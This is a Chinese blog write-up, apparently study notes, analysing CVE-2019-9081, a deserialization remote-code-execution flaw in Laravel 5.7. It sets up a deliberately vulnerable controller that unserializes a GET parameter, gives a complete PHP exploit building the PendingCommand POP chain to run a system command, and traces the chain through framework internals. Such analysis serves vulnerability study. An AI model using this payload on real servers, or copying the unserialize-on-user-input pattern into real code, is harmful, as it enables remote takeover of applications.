lavarel cve及相关pop链
CVE-2019-9081
参考链接:
https://mochazz.github.io/2019/06/25/Laravel5.7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8BRCE%E9%93%BE%E6%8C%96%E6%8E%98/#%E6%BC%8F%E6%B4%9E%E9%93%BE%E6%8C%96%E6%8E%98
https://www.cnblogs.com/tr1ple/p/11079354.html
在 laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>
在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:
// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.7";
}
}
所需参数有4个,下面为4个参数的构造。
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array('whoami')
exp:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
首先是传入payload,进行反序列化,因为反序列化过程中会涉及到不同的类,会引发自动加载机制。
首先是在facade静态接口中查找pendingcommand
类,没有找到。启动类的自动加载机制,调用loadlclass
函数:
在这个过程中也加载了GenericUser
类,然后就是进入相关类的析构函数内发现调用了run
函数,跟进run
函数。
发现这里调用了mockConsoleOutput
函数,在运行到执行代码的地方之前我们需要保证它畅通无阻,所以跟进mockConsoleOutput
函数;
我们需要的是,可以让他继续运行下去,继续单步执行,这里我们需要注意的是test
是src\Illuminate\Auth\GenericUser.php
中的GenericUser
类的对象,但是显然此类中是没有expectedQuestions
属性的所以当在foreach
遍历的时候会自动调用GenericUser
类内的__get()
:
而attribute[]
是我们可以控制的因此可以在数组内随意设置缺少的参数的值:
继续单步执行跳出mockConsoleOutput
函数。
向下走发现会调用app
对象的call()
:
这里的Kernel::class
是一个固定的值
类名::class 表示类的完全限定名称
这里的app
对象是Illuminate\Foundation\Application
内类的对象, call的参数为我们所要执行的命令和命令参数this->command,this->parameters)
, 跟进看一下:
发现会执行这个函数,但是这个函数内没有什么可利用的,跟进看一下:
调用了src\Illuminate\Container\Container.php
文件内的container
类内的getalias()
:
因为aliases[]
内没有abstract
故会直接返回值并且跳出函数,继续单步执行发现会执行到最后的make()
。跟进make()
内的resove()
函数,要注意这里的make()
是container
即application
的父类的一个函数:
从头来看,这几个逐渐分散的函数都是为了最初的实例化application
类而执行的。继续单步执行,在getconcrete()
处步入:
可以发现这里有对bindings[]
的操作,通过反序列化我们是可以控制bindings
数组的。 而此时$abstract为固定值,即只需要让bindings
为一个二维数组,其中键abstract
的值作为数组,其中存在键名为concrete
,键值为我们想要实例化的类Application
即可。随后跳出getconcrete()
,变量concrete
的值变成"Illuminate\Foundation\Application
。继续向下,需要满足isBuildable
才可以实例化,跟进函数看一下:
这里显然并不恒等,而且||
右侧,concrete
显然不是闭包类的实例化,因此会返回false
,并且跳出函数。进而继续调用一次make
函数。而调用的这次make()
主要是给在concrete
赋过值之后再进行一次比较,进而返回true
,进而实例化application
类。之后继续单步执行,跳出make()
。以此,application
类的实例化就已经完成了。继续调用实例的call()
,此函数存在于application
的父类container
中的。跟进看一下:
这里的callback
参数值为pendingcommand
类中的command
参数值,parameters
为pendingcommand
类中的同名数组值。 其中第一个分支isCallableWithAtSign()
判断回调函数是否为字符串并且其中含有@,并且defaultMethod
默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()
函数的调用,跟进 callBoundMethod()
。
发现,call_user_func()
的参数为getMethodDependencies()
的返回值, 在return处可以看到此时调用array_merge
函数将dependencies
数组和parameters
数组进行合并,但是dependencies
数组为空,因此对我们要执行命令的参数不产生影响,即在此步返回将执行命令。
此时的exitcode
值即为命令执行后的值:
好难。。。
本文地址: lavarel专题3